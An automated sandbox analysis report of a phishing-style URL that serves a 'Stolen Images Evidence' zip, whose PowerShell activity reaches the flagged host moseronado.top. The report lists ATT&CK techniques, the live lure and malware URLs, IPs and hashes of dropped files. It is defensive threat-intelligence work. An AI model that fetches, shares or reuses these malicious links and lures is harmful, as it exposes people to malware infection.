Default Accounts	Command and Scripting Interpreter1	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Disable or Modify Tools1	LSASS Memory	Security Software Discovery21	Remote Desktop Protocol	Data from Removable Media	Exfiltration Over Bluetooth	Ingress Tool Transfer3	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	Scripting11	Logon Script (Windows)	Logon Script (Windows)	Virtualization/Sandbox Evasion41	Security Account Manager	Process Discovery1	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	Non-Application Layer Protocol4	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	PowerShell6	Logon Script (Mac)	Logon Script (Mac)	Process Injection112	NTDS	Virtualization/Sandbox Evasion41	Distributed Component Object Model	Input Capture	Scheduled Transfer	Application Layer Protocol5	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	Deobfuscate/Decode Files or Information1	LSA Secrets	Application Window Discovery1	SSH	Keylogging	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	Scripting11	Cached Domain Credentials	Remote System Discovery1	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	Obfuscated Files or Information2	DCSync	File and Directory Discovery1	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact
Drive-by Compromise	Command and Scripting Interpreter	Scheduled Task/Job	Scheduled Task/Job	Indicator Removal from Tools	Proc Filesystem	System Information Discovery24	Shared Webroot	Credential API Hooking	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Application Layer Protocol	Downgrade to Insecure Protocols		Generate Fraudulent Advertising Revenue

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
https://storage.googleapis.com/m4b38h10cm38.appspot.com/d/file/0/public/a/3fdjn39fduh3nfdfn.html?l=048464344988443721#	0%	Avira URL Cloud	safe

Dropped Files

No Antivirus matches

Unpacked PE Files

No Antivirus matches

Domains

No Antivirus matches

URLs

Source	Detection	Scanner	Label	Link
https://csp.withgoogle.com/csp/report-to/static-on-bigtable	0%	URL Reputation	safe
https://contoso.com/License	0%	URL Reputation	safe
http://moseronado.top/	1%	Virustotal		Browse
http://moseronado.top/	100%	Avira URL Cloud	malware
http://moseronado.top	1%	Virustotal		Browse
http://moseronado.top	100%	Avira URL Cloud	malware
https://contoso.com/	0%	URL Reputation	safe
https://csp.withgoogle.com/csp/report-to/static-on-bigtablel	0%	Avira URL Cloud	safe
https://dns.google	0%	URL Reputation	safe
http://pesterbdd.com/images/Pester.png	0%	URL Reputation	safe
https://go.micro	0%	URL Reputation	safe
http://moseronado.top/333g100/index.php	100%	Avira URL Cloud	malware
https://www.google.com;	0%	Avira URL Cloud	safe
https://contoso.com/Icon	0%	URL Reputation	safe
https://bacionera.top/stat03940893/	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
docs.google.com	172.217.168.14	true	false	high
accounts.google.com	142.250.203.109	true	false	high
cdnjs.cloudflare.com	104.16.19.94	true	false	high
bacionera.top	104.21.91.115	true	false	unknown
www.google.com	142.250.203.100	true	false	high
drive.google.com	142.250.203.110	true	false	high
moseronado.top	104.21.15.244	true	true	unknown
clients.l.google.com	216.58.215.238	true	false	high
rawgitcdn.b-cdn.net	37.19.206.70	true	false	high
googlehosted.l.googleusercontent.com	172.217.168.33	true	false	high
doc-0o-ac-docs.googleusercontent.com	unknown	unknown	false	high
cdn.jsdelivr.net	unknown	unknown	false	high
cdn.rawgit.com	unknown	unknown	false	high
clients2.googleusercontent.com	unknown	unknown	false	high
clients2.google.com	unknown	unknown	false	high
doc-0k-3c-docs.googleusercontent.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://docs.google.com/nonceSigner?nonce=e7j16a2kasg3e&continue=https://doc-0k-3c-docs.googleusercontent.com/docs/securesc/hcue5o0sqp41v6uc8cr49rhddquntu8g/mtvptcmevd2ocn9hi3nttjunvchc3gtu/1634589900000/10323111707164989971/04457783464220248333Z/1mXaX8y3AKJF9JH4xyHqQlJuOFdvdJ4AG?e%3Ddownload&hash=237fjk8ru9cmmscc9rqktp4m1g276qu1	false		high
https://cdnjs.cloudflare.com/ajax/libs/ouibounce/0.0.11/ouibounce.min.js	false		high
https://cdnjs.cloudflare.com/ajax/libs/jquery/2.1.3/jquery.min.js	false		high
http://moseronado.top/333g100/index.php	true	Avira URL Cloud: malware	unknown
https://clients2.google.com/service/update2/crx?os=win&arch=x64&os_arch=x86_64&nacl_arch=x86-64&prod=chromecrx&prodchannel=&prodversion=85.0.4183.121&lang=en-US&acceptformat=crx3&x=id%3Dnmmhkkegccagdldgiimedpiccmgmieda%26v%3D0.0.0.0%26installedby%3Dother%26uc%26ping%3Dr%253D-1%2526e%253D1&x=id%3Dpkedcjkdefgpdelpbcmbmeomcjbeemfm%26v%3D0.0.0.0%26installedby%3Dother%26uc%26ping%3Dr%253D-1%2526e%253D1	false		high
https://accounts.google.com/ListAccounts?gpsia=1&source=ChromiumBrowser&json=standard	false		high
https://cdn.rawgit.com/carlsednaoui/ouibounce/master/test/ouibounce.min.css	false		high
https://bacionera.top/stat03940893/	false	Avira URL Cloud: safe	unknown
https://www.google.com/images/branding/googlelogo/2x/googlelogo_color_120x44dp.png	false		high
https://doc-0o-ac-docs.googleusercontent.com/docs/securesc/ha0ro937gcuc7l7deffksulhg5h7mbp1/a0ant5ufbkmnghngb1btrk334bg0j65u/1634589900000/10323111707164989971/*/1mXaX8y3AKJF9JH4xyHqQlJuOFdvdJ4AG?e=download	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://csp.withgoogle.com/csp/report-to/static-on-bigtable	data_2.1.dr	false	URL Reputation: safe	unknown
https://a.nel.cloudflare.com/report/v3?s=rAtGpP5QQPqszmYEwWmYxw6Isy9ZGCCHBGPPX06Kx6PE5appc1%2FC8NYIQ	Reporting and NEL.1.dr	false		high
https://www.google.com/images/cleardot.gif	craw_window.js.0.dr	false		high
https://contoso.com/License	powershell.exe, 0000001E.00000002.433324721.0000000005D32000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
https://www.google.com/log?format=json&hasfast=true	mirroring_hangouts.js.0.dr	false		high
https://easylist.to/)	LICENSE.txt.0.dr	false		high
http://moseronado.top/	powershell.exe, 00000027.00000002.452560356.0000000005540000.00000004.00000001.sdmp, PowerShell_transcript.610930.3wwpsSEZ.20211018224633.txt.42.dr	true	1%, Virustotal, Browse Avira URL Cloud: malware	unknown
https://sandbox.google.com/payments/v4/js/integrator.js	craw_window.js.0.dr, manifest.json0.0.dr	false		high
http://www.ietf.org/id/draft-holmer-rmcat-transport-wide-cc-extensions-01	mirroring_hangouts.js.0.dr	false		high
https://accounts.google.com/MergeSession	craw_window.js.0.dr	false		high
https://creativecommons.org/compatiblelicenses	LICENSE.txt.0.dr	false		high
https://preprod-hangouts-googleapis.sandbox.google.com	mirroring_hangouts.js.0.dr	false		high
http://moseronado.top	powershell.exe, 0000001E.00000002.428658588.0000000004E12000.00000004.00000001.sdmp, powershell.exe, 00000027.00000002.452108989.00000000052E2000.00000004.00000001.sdmp	true	1%, Virustotal, Browse Avira URL Cloud: malware	unknown
https://www.google.com	manifest.json1.0.dr, 3e1e6ebc-9512-4d08-abc7-d428663504c0.tmp.1.dr	false		high
https://github.com/easylist)	LICENSE.txt.0.dr	false		high
https://creativecommons.org/.	LICENSE.txt.0.dr	false		high
https://hangouts.clients6.google.com	mirroring_hangouts.js.0.dr	false		high
https://hangouts.google.com/hangouts/_/logpref	mirroring_hangouts.js.0.dr	false		high
https://accounts.google.com	manifest.json1.0.dr, 3e1e6ebc-9512-4d08-abc7-d428663504c0.tmp.1.dr	false		high
https://clients2.google.com/cr/report	mirroring_hangouts.js.0.dr	false		high
https://contoso.com/	powershell.exe, 0000001E.00000002.433324721.0000000005D32000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
https://nuget.org/nuget.exe	powershell.exe, 0000001E.00000002.433324721.0000000005D32000.00000004.00000001.sdmp	false		high
https://a.nel.cloudflare.com/report/v3?s=mNB4Q2geIt%2Bv9UWz8wCgeziQgKEBRQNb0YawZMf1X5FyV3KFI9n5lM9sF	Reporting and NEL.1.dr	false		high
https://docs.google.com/nonceSigner?nonce=e7j16a2kasg3e&continue=https://doc-0k-3c-docs.googleuserco	000003.log7.0.dr	false		high
https://creativecommons.org/publicdomain/zero/1.0/.	mirroring_hangouts.js.0.dr	false		high
https://github.com/angular/material	material_css_min.css.0.dr	false		high
https://apis.google.com	manifest.json1.0.dr, 3e1e6ebc-9512-4d08-abc7-d428663504c0.tmp.1.dr	false		high
https://www.google.com/accounts/OAuthLogin?issueuberauth=1	craw_window.js.0.dr	false		high
https://csp.withgoogle.com/csp/report-to/static-on-bigtablel	Reporting and NEL.1.dr	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 0000001E.00000002.427917438.0000000004CD1000.00000004.00000001.sdmp, powershell.exe, 00000027.00000002.451943275.00000000051A1000.00000004.00000001.sdmp	false		high
https://github.com/madler/zlib/blob/master/zlib.h	mirroring_hangouts.js.0.dr	false		high
https://www-googleapis-staging.sandbox.google.com	craw_window.js.0.dr, craw_background.js.0.dr	false		high
https://clients2.google.com	3e1e6ebc-9512-4d08-abc7-d428663504c0.tmp.1.dr	false		high
http://nuget.org/NuGet.exe	powershell.exe, 0000001E.00000002.433324721.0000000005D32000.00000004.00000001.sdmp	false		high
http://www.apache.org/licenses/LICENSE-2.0	mirroring_hangouts.js.0.dr	false		high
https://dns.google	ddc13123-4f58-4cc4-b5ac-c1a25ce09681.tmp.1.dr, 3e1e6ebc-9512-4d08-abc7-d428663504c0.tmp.1.dr	false	URL Reputation: safe	unknown
https://github.com/google/closure-library/wiki/goog.module:-an-ES6-module-like-alternative-to-goog.p	craw_window.js.0.dr, craw_background.js.0.dr	false		high
https://www.google.com/intl/en-US/chrome/blank.html	craw_background.js.0.dr	false		high
https://ogs.google.com	3e1e6ebc-9512-4d08-abc7-d428663504c0.tmp.1.dr	false		high
https://support.google.com/chromecast/troubleshooter/2995236	messages.json66.0.dr, feedback.html.0.dr	false		high
http://pesterbdd.com/images/Pester.png	powershell.exe, 0000001E.00000002.434508384.0000000007930000.00000004.00000001.sdmp, powershell.exe, 0000001E.00000002.428658588.0000000004E12000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 0000001E.00000002.434508384.0000000007930000.00000004.00000001.sdmp, powershell.exe, 0000001E.00000002.428658588.0000000004E12000.00000004.00000001.sdmp	false		high
http://www.ietf.org/id/draft-holmer-rmcat-transport-wide-cc-extensions	mirroring_hangouts.js.0.dr	false		high
https://go.micro	powershell.exe, 0000001E.00000002.432661850.0000000005556000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
https://payments.google.com/payments/v4/js/integrator.js	craw_window.js.0.dr, manifest.json0.0.dr	false		high
https://www.google.com;	manifest.json1.0.dr	false	Avira URL Cloud: safe	low
https://contoso.com/Icon	powershell.exe, 0000001E.00000002.433324721.0000000005D32000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
https://hangouts.google.com/	manifest.json1.0.dr	false		high
https://www.google.com/images/x2.gif	craw_window.js.0.dr	false		high
https://github.com/Pester/Pester	powershell.exe, 0000001E.00000002.434508384.0000000007930000.00000004.00000001.sdmp, powershell.exe, 0000001E.00000002.428658588.0000000004E12000.00000004.00000001.sdmp	false		high
https://www.google.com/images/dot2.gif	craw_window.js.0.dr	false		high
https://meetings.clients6.google.com	mirroring_hangouts.js.0.dr	false		high
https://play.google.com/log?format=json&hasfast=true	mirroring_hangouts.js.0.dr	false		high
http://tools.ietf.org/html/rfc1950	mirroring_hangouts.js.0.dr	false		high
https://doc-0o-ac-docs.googleusercontent.com/docs/securesc/ha0ro937gcuc7l7deffksulhg5h7mbp1/a0ant5uf	data_1.1.dr, Stolen Images Evidence.zip_Zone.Identifier.6.dr	false		high
https://cdn.jsdelivr.net/gh/carlsednaoui/ouibounce	data_2.1.dr	false		high
https://support.google.com/chromecast/answer/2998456	messages.json66.0.dr, feedback.html.0.dr	false		high
https://clients2.googleusercontent.com	3e1e6ebc-9512-4d08-abc7-d428663504c0.tmp.1.dr	false		high
https://doc-0k-3c-docs.googleusercontent.com/docs/securesc/hcue5o0sqp41v6uc8cr49rhddquntu8g/mtvptcme	data_1.1.dr, Stolen Images Evidence (2).zip_Zone.Identifier.17.dr	false		high
https://www.google.com/	manifest.json0.0.dr	false		high
https://feedback.googleusercontent.com	manifest.json1.0.dr	false		high
https://clients2.google.com/service/update2/crx	manifest.json1.0.dr	false		high
https://clients6.google.com	mirroring_hangouts.js.0.dr	false		high

Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public

IP	Domain	Country	ASN	ASN Name	Malicious
104.21.15.244	moseronado.top	United States	13335	CLOUDFLARENETUS	true
216.58.215.238	clients.l.google.com	United States	15169	GOOGLEUS	false
142.250.203.100	www.google.com	United States	15169	GOOGLEUS	false
37.19.206.70	rawgitcdn.b-cdn.net	Ukraine	31343	INTERTELECOMUA	false
172.217.168.14	docs.google.com	United States	15169	GOOGLEUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
172.217.168.33	googlehosted.l.googleusercontent.com	United States	15169	GOOGLEUS	false
104.21.91.115	bacionera.top	United States	13335	CLOUDFLARENETUS	false
172.67.209.58	unknown	United States	13335	CLOUDFLARENETUS	false
104.16.19.94	cdnjs.cloudflare.com	United States	13335	CLOUDFLARENETUS	false
142.250.203.109	accounts.google.com	United States	15169	GOOGLEUS	false

Private

IP
192.168.2.1
192.168.2.255
127.0.0.1

General Information

Joe Sandbox Version:	33.0.0 White Diamond
Analysis ID:	505091
Start date:	18.10.2021
Start time:	22:44:42
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 12m 13s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	browseurl.jbs
Sample URL:	https://storage.googleapis.com/m4b38h10cm38.appspot.com/d/file/0/public/a/3fdjn39fduh3nfdfn.html?l=048464344988443721#
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	52
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal100.bank.evad.win@90/281@15/14
EGA Information:	Successful, ratio: 80%
HDC Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 138 Number of non-executed functions: 1
Cookbook Comments:	Adjust boot time Enable AMSI Browse: https://drive.google.com/uc?export=download&id=1mXaX8y3AKJF9JH4xyHqQlJuOFdvdJ4AG
Warnings:	Show All Exclude process from analysis (whitelisted): MpCmdRun.exe, BackgroundTransferHost.exe, RuntimeBroker.exe, backgroundTaskHost.exe, SgrmBroker.exe, conhost.exe, svchost.exe Excluded IPs from analysis (whitelisted): 204.79.197.200, 13.107.21.200, 20.82.210.154, 23.203.141.148, 172.217.168.48, 172.217.168.80, 142.250.203.112, 172.217.168.16, 142.250.203.110, 173.194.188.201, 34.104.35.123, 142.250.203.99, 104.16.85.20, 104.16.86.20, 104.16.87.20, 104.16.89.20, 104.16.88.20, 95.100.216.89, 2.20.178.24, 2.20.178.33, 216.58.215.234, 172.217.168.10, 172.217.168.42, 172.217.168.74, 142.250.203.106, 40.112.88.60 Excluded domains from analysis (whitelisted): cdn.jsdelivr.net.cdn.cloudflare.net, ssl.gstatic.com, storage.googleapis.com, store-images.s-microsoft.com-c.edgekey.net, clientservices.googleapis.com, iris-de-prod-azsc-neu-b.northeurope.cloudapp.azure.com, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, a1449.dscg2.akamai.net, arc.msn.com, e12564.dspb.akamaiedge.net, r4.sn-4g5ednsd.gvt1.com, redirector.gvt1.com, www-bing-com.dual-a-0001.a-msedge.net, update.googleapis.com, arc.trafficmanager.net, www.gstatic.com, img-prod-cms-rt-microsoft-com.akamaized.net, prod.fs.microsoft.com.akadns.net, www.bing.com, fs.microsoft.com, r4---sn-4g5ednsd.gvt1.com, dual-a-0001.a-msedge.net, ris-prod.trafficmanager.net, asf-ris-prod-neu.northeurope.cloudapp.azure.com, e1723.g.akamaiedge.net, www.googleapis.com, ris.api.iris.microsoft.com, a-0001.a-afdentry.net.trafficmanager.net, edgedl.me.gvt1.com, store-images.s-microsoft.com Execution Graph export aborted for target powershell.exe, PID 5648 because it is empty Not all processes where analyzed, report is missing behavior information Report size exceeded maximum capacity and may have missing behavior information. Report size getting too big, too many NtCreateFile calls found. Report size getting too big, too many NtOpenFile calls found. Report size getting too big, too many NtOpenKeyEx calls found. Report size getting too big, too many NtProtectVirtualMemory calls found. Report size getting too big, too many NtQueryValueKey calls found. Report size getting too big, too many NtQueryVolumeInformationFile calls found. Report size getting too big, too many NtSetInformationFile calls found. Report size getting too big, too many NtWriteVirtualMemory calls found.

Simulations

Behavior and APIs

Time	Type	Description
22:46:36	API Interceptor	86x Sleep call for process: powershell.exe modified

Joe Sandbox View / Context

IPs

No context

Domains

No context

ASN

No context

JA3 Fingerprints

No context

Dropped Files

No context

Created / dropped Files

C:\Program Files\Google\Chrome\Application\Dictionaries\en-US-9-0.bdic Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	data
Category:	dropped
Size (bytes):	451603
Entropy (8bit):	5.009711072558331
Encrypted:	false
SSDEEP:	12288:ZHfRTyGZ6lup8Cfrvq4JBPKh+FBlESBw4p6:NfOCzvRKhGvwJ
MD5:	A78AD14E77147E7DE3647E61964C0335
SHA1:	CECC3DD41F4CEA0192B24300C71E1911BD4FCE45
SHA-256:	0D6803758FF8F87081FAFD62E90F0950DFB2DD7991E9607FE76A8F92D0E893FA
SHA-512:	DDE24D5AD50D68FC91E9E325D31E66EF8F624B6BB3A07D14FFED1104D3AB5F4EF1D7969A5CDE0DFBB19CB31C506F7DE97AF67C2F244F7E7E8E10648EA8321101
Malicious:	false
Reputation:	low
Preview:	BDic.... ....6...."..Z..4g....6.2...{/...3...5....AF 1363.AF nm.AF pt.AF n1.AF p.AF tc.AF SM.AF M.AF S.AF MS.AF MNR.AF GDS.AF MNT.AF MH.AF MR.AF SZMR.AF MJ.AF MT.AF MY.AF MRZ.AF MN.AF MG.AF RM.AF N.AF MV.AF XM.AF DSM.AF SD.AF G.AF R.AF MNX.AF MRS.AF MD.AF MNRB.AF B.AF ZSMR.AF PM.AF SMNGJ.AF SMN.AF ZMR.AF SMGB.AF MZR.AF GM.AF SMR.AF SMDG.AF RMZ.AF ZM.AF MDG.AF MDT.AF SMNXT.AF SDY.AF LSDG.AF LGDS.AF GLDS.AF UY.AF U.AF DSGNX.AF GNDSX.AF DSG.AF Y.AF GS.AF IEMS.AF YP.AF ZGDRS.AF XGNVDS.AF UT.AF GNDS.AF GVDS.AF MYPS.AF XGNDS.AF TPRY.AF MDSG.AF ZGSDR.AF DYSG.AF PMYTNS.AF AGDS.AF DRZGS.AF PY.AF GSPMDY.AF EGVDS.AF SL.AF GNXDS.AF DSBG.AF IM.AF I.AF MDGS.AF SMY.AF DSGN.AF DSLG.AF GMDS.AF MDSBG.AF SGD.AF IY.AF P.AF DSMG.AF BLZGDRS.AF TR.AF AGSD.AF ZGBDRSL.AF PTRY.AF ASDGV.AF ASM.AF ICANGSD.AF ICAM.AF IKY.AF AMS.AF PMYTRS.AF BZGVDRS.AF SDRBZG.AF GVMDS.AF PSM.AF DGLS.AF GNVXDS.AF AGDSL.AF DGS.AF XDSGNV.AF BZGDRS.AF AM.AF AS.AF A.AF LDSG.AF AGVDS.AF SDG.AF LDSMG.AF EDSMG.AF EY.AF DRSMZG.AF PRYT.AF LZ

C:\Users\user\AppData\Local\Google\Chrome\User Data\18b04882-059e-4f48-abaa-905e78ea974f.tmp Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines, with no line terminators
Category:	dropped
Size (bytes):	378570
Entropy (8bit):	6.0271321636278845
Encrypted:	false
SSDEEP:	6144:eYruT3DKYonNGbdIo8Acx6ZaurE5/EDnJpAl9SeefNqWF4iVx/9LPeq/1LHm/dB9:eYjNGbWdxzurRDn9nfNxF4ijZVtilB9
MD5:	3ABE25E44E3757EE8AA56D577D088536
SHA1:	DE3C78634779F410DCB6DDA3A368CE9BE08FB019
SHA-256:	27F51BA567BBCED6FFF1BD0C24A11B57C0DA54553F4C33587D03B8D8B3CC4B7D
SHA-512:	4CFD40E58797D1FC701F0B23DF5048CC42E3FF3E107EBD5F6F5A28AF25233513DBEFC6DACB3CB6674F56BC409CB9D5E69FFA5CE16DC3214BC2727859DEEC1806
Malicious:	false
Reputation:	low
Preview:	{"browser":{"last_redirect_origin":"","shortcut_migration_version":"85.0.4183.121"},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"user":{"background":{},"foreground":{}}}},"hardware_acceleration_mode_previous":true,"intl":{"app_locale":"en"},"legacy":{"profile":{"name":{"migrated":true}}},"network_time":{"network_time_mapping":{"local":1.634622342571354e+12,"network":1.634589944e+12,"ticks":115560705.0,"uncertainty":4384120.0}},"os_crypt":{"encrypted_key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAABUPWY4cSyAQZRX3j8/SLmMAAAAAAIAAAAAABBmAAAAAQAAIAAAACC7lwCjByxIY/Ds1S6cdCxJW6iSr1QfjoKlVKoVEQ4EAAAAAA6AAAAAAgAAIAAAAD9PMfiGkWkdrfU+zeMpOLPS1eDxLpcgjYP2R/ndeCNxMAAAAK+RpovfP61NtB5nOpQgPMjPTyt2T1WPeru9i3yP05zNVEj0uCRDWfONruG9ricX1kAAAADB9KtQ9KY2z38GdfaF7dW2ZLcAMHOX2oEKBg8ZJG9lsuMexxChB4M8HFpyb0Bpr6axpi+zmMIXt76noTOxFzKN"},"password_manager":{"os_password_blank":true,"os_password_last_changed":"13245950075231176"},"plugins":{"metadata":{"adobe-flash-player":{"disp

C:\Users\user\AppData\Local\Google\Chrome\User Data\31ef23f4-86fd-4dea-963f-f5b55c2e465b.tmp Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines, with no line terminators
Category:	dropped
Size (bytes):	378656
Entropy (8bit):	6.027248002179834
Encrypted:	false
SSDEEP:	6144:MYruT3DKYonNGbdIo8Acx6ZaurE5/EDnJpAl9SeefNqWF4iVx/9LPeq/1LHm/dB9:MYjNGbWdxzurRDn9nfNxF4ijZVtilB9
MD5:	03328711180DD1FC6E034033E999B80D
SHA1:	6A288851D21F660FF91F7EDBF96E92D999715D37
SHA-256:	D83109F4DCDE93AB386193F498D019536A07999E781BD4402303F5BF52326833
SHA-512:	B039A0438758484350C180DF7BF231E0CA4EF1382B08BFF91AB81184E31F19B5A415B466603BB00F1E31E5F9BEF766FD832733DCFD8A54649255F8E786E38AC6
Malicious:	false
Reputation:	low
Preview:	{"browser":{"last_redirect_origin":"","shortcut_migration_version":"85.0.4183.121"},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"user":{"background":{},"foreground":{}}}},"hardware_acceleration_mode_previous":true,"intl":{"app_locale":"en"},"legacy":{"profile":{"name":{"migrated":true}}},"network_time":{"network_time_mapping":{"local":1.634622342571354e+12,"network":1.634589944e+12,"ticks":115560705.0,"uncertainty":4384120.0}},"os_crypt":{"encrypted_key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAABUPWY4cSyAQZRX3j8/SLmMAAAAAAIAAAAAABBmAAAAAQAAIAAAACC7lwCjByxIY/Ds1S6cdCxJW6iSr1QfjoKlVKoVEQ4EAAAAAA6AAAAAAgAAIAAAAD9PMfiGkWkdrfU+zeMpOLPS1eDxLpcgjYP2R/ndeCNxMAAAAK+RpovfP61NtB5nOpQgPMjPTyt2T1WPeru9i3yP05zNVEj0uCRDWfONruG9ricX1kAAAADB9KtQ9KY2z38GdfaF7dW2ZLcAMHOX2oEKBg8ZJG9lsuMexxChB4M8HFpyb0Bpr6axpi+zmMIXt76noTOxFzKN"},"password_manager":{"os_password_blank":true,"os_password_last_changed":"13245950075231176"},"plugins":{"metadata":{"adobe-flash-player":{"disp

C:\Users\user\AppData\Local\Google\Chrome\User Data\915b2100-a4c4-4068-b86b-09ccddadd5eb.tmp Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines, with no line terminators
Category:	dropped
Size (bytes):	378760
Entropy (8bit):	6.027440104049033
Encrypted:	false
SSDEEP:	6144:nYruT3DKYonNGbdIo8Acx6ZaurE5/EDnJpAl9SeefNqWF4iVx/9LPeq/1LHm/dB9:nYjNGbWdxzurRDn9nfNxF4ijZVtilB9
MD5:	47A5DA39A64EA7679326FBAA1100A32A
SHA1:	A65AC0F46D6026081A5912D54E5D389BC6480ECF
SHA-256:	B7CD0FB6CF0F947212F307F46F161513ABD9F590A42EEEBB5E8625F4FA489ECF
SHA-512:	A683287445A1F4792658B1341304C1411C4F870A6D51A16D78C7A77212A9CE5F81EE9E93CB73F90CA9D9C1AE8965C0C8F79B4038968391ECB66EE9E8EC57C74E
Malicious:	false
Reputation:	low
Preview:	{"browser":{"last_redirect_origin":"","shortcut_migration_version":"85.0.4183.121"},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"user":{"background":{},"foreground":{}}}},"hardware_acceleration_mode_previous":true,"intl":{"app_locale":"en"},"legacy":{"profile":{"name":{"migrated":true}}},"network_time":{"network_time_mapping":{"local":1.634622342571354e+12,"network":1.634589944e+12,"ticks":115560705.0,"uncertainty":4384120.0}},"os_crypt":{"encrypted_key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAABUPWY4cSyAQZRX3j8/SLmMAAAAAAIAAAAAABBmAAAAAQAAIAAAACC7lwCjByxIY/Ds1S6cdCxJW6iSr1QfjoKlVKoVEQ4EAAAAAA6AAAAAAgAAIAAAAD9PMfiGkWkdrfU+zeMpOLPS1eDxLpcgjYP2R/ndeCNxMAAAAK+RpovfP61NtB5nOpQgPMjPTyt2T1WPeru9i3yP05zNVEj0uCRDWfONruG9ricX1kAAAADB9KtQ9KY2z38GdfaF7dW2ZLcAMHOX2oEKBg8ZJG9lsuMexxChB4M8HFpyb0Bpr6axpi+zmMIXt76noTOxFzKN"},"password_manager":{"os_password_blank":true,"os_password_last_changed":"13245950075231176"},"plugins":{"metadata":{"adobe-flash-player":{"disp

C:\Users\user\AppData\Local\Google\Chrome\User Data\Crashpad\settings.dat Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	3.3041625260016576
Encrypted:	false
SSDEEP:	3:FkXYDu6cR9n:+Y66cR9
MD5:	7A9D405E9218ED86C7ED3BB729DAA896
SHA1:	E5BB69E833231B755B20E5A0C9B2392D8B923C66
SHA-256:	D83D002DFE4F96C43A6FBF24FC7AA739945731ABDEC2AFB53EDDCE2D2D87D6AF
SHA-512:	F34290BF6A4B1AA63F47436C0788FC1DAC7B970A1861EF1D1891826FD3DFD0FD484A900E23A3024C19CA93DE842BF8B5BC7A5E159362A4C3A36AE8D47C8551A7
Malicious:	false
Reputation:	low
Preview:	sdPC.....................8...?E."..N_.

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\000001.dbtmp Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Reputation:	low
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\000002.dbtmp Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Xv:1qIF/
MD5:	206702161F94C5CD39FADD03F4014D98
SHA1:	BD8BFC144FB5326D21BD1531523D9FB50E1B600A
SHA-256:	1005A525006F148C86EFCBFB36C6EAC091B311532448010F70F7DE9A68007167
